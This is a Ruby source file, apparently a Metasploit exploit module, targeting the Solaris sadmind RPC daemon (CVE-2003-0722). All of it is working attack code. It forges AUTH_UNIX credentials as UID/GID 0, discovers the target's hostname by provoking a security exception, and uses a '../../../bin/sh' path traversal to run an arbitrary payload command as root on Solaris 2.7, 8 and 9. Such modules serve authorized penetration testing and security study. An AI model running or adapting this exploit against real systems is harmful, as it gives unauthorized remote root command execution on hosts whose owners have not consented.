##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SunRPC

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Solaris sadmind Command Execution',
        'Description' => %q{
          This exploit targets a weakness in the default security settings of
          the Sun Solstice AdminSuite distributed system administration daemon
          (sadmind) RPC application. This server is installed and enabled by
          default on most versions of the Solaris operating system.

          Vulnerable systems include Solaris 2.7, 8, and 9.
        },
        'Author' => [
          'vlad902 <vlad902[at]gmail.com>',
          'hdm',
          'cazz',
          'midnitesnake'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2003-0722'],
          ['OSVDB', '4585'],
          ['BID', '8615']
        ],
        'Privileged' => true,
        'Platform' => %w[solaris unix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00",
          'DisableNops' => true,
          'EncoderType' => Msf::Encoder::Type::CmdPosixPerl,
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic perl telnet ksh'
          }
        },
        'Targets' => [ ['Automatic', {}], ],
        'DisclosureDate' => '2003-09-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
      OptInt.new('GID', [false, 'GID to emulate', 0]),
      OptInt.new('UID', [false, 'UID to emulate', 0])
    ])
  end

  def check
    port = sunrpc_create('udp', 100232, 10)
    port.nil? ? CheckCode::Safe('SADMIND RPC service not found') : CheckCode::Detected('SADMIND RPC service detected')
  ensure
    sunrpc_destroy unless rpcobj.nil?
  end

  def exploit
    sunrpc_create('udp', 100232, 10)
    sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])

    if !datastore['HOSTNAME']
      print_status('Attempting to determine hostname')
      response = sadmind_request(rand_text_alpha(rand(1..10)), 'true')

      unless response
        fail_with(Failure::Unreachable, 'No response')
      end

      match = /Security exception on host (.*)\.  USER/.match(response)
      unless match
        fail_with(Failure::Unknown, 'Unable to determine hostname')
      end

      hostname = match.captures[0]
      print_status("Found hostname: #{hostname}")
    else
      hostname = datastore['HOSTNAME']
    end

    sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
    print_status("Sending payload (#{payload.encoded.length} bytes) ...")
    response = sadmind_request(hostname, payload.encoded)

    if /Security exception on host/.match(response)
      fail_with(Failure::Unknown, "Security exception for hostname '#{hostname}' (UID #{datastore['UID']} and GID #{datastore['GID']}).")
    end

    print_good('Exploit did not give us an error, this is good.')
    select(nil, nil, nil, 1)
  ensure
    sunrpc_destroy unless rpcobj.nil?
  end

  def sadmind_request(host, command)
    header = Rex::Encoder::XDR.encode(0) * 7
    header << Rex::Encoder::XDR.encode(
      6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
      4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
      host, 'system', '../../../bin/sh'
    )

    body =
      do_int('ADM_FW_VERSION', 1) +
      do_string('ADM_LANG', 'C') +
      do_string('ADM_REQUESTID', '00009:000000000:0') +
      do_string('ADM_CLASS', 'system') +
      do_string('ADM_CLASS_VERS', '2.1') +
      do_string('ADM_METHOD', '../../../bin/sh') +
      do_string('ADM_HOST', host) +
      do_string('ADM_CLIENT_HOST', host) +
      do_string('ADM_CLIENT_DOMAIN', '') +
      do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
      do_int('ADM_FENCE', 0) +
      do_string('X', '-c') +
      do_string('Y', command) +
      Rex::Encoder::XDR.encode('netmgt_endofargs')

    request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body

    ret = sunrpc_call(1, request)
    return Rex::Encoder::XDR.decode!(ret, Integer, Integer, String)[2]
  end

  def do_string(str1, str2)
    Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
  end

  def do_int(str, int)
    Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
  end
end
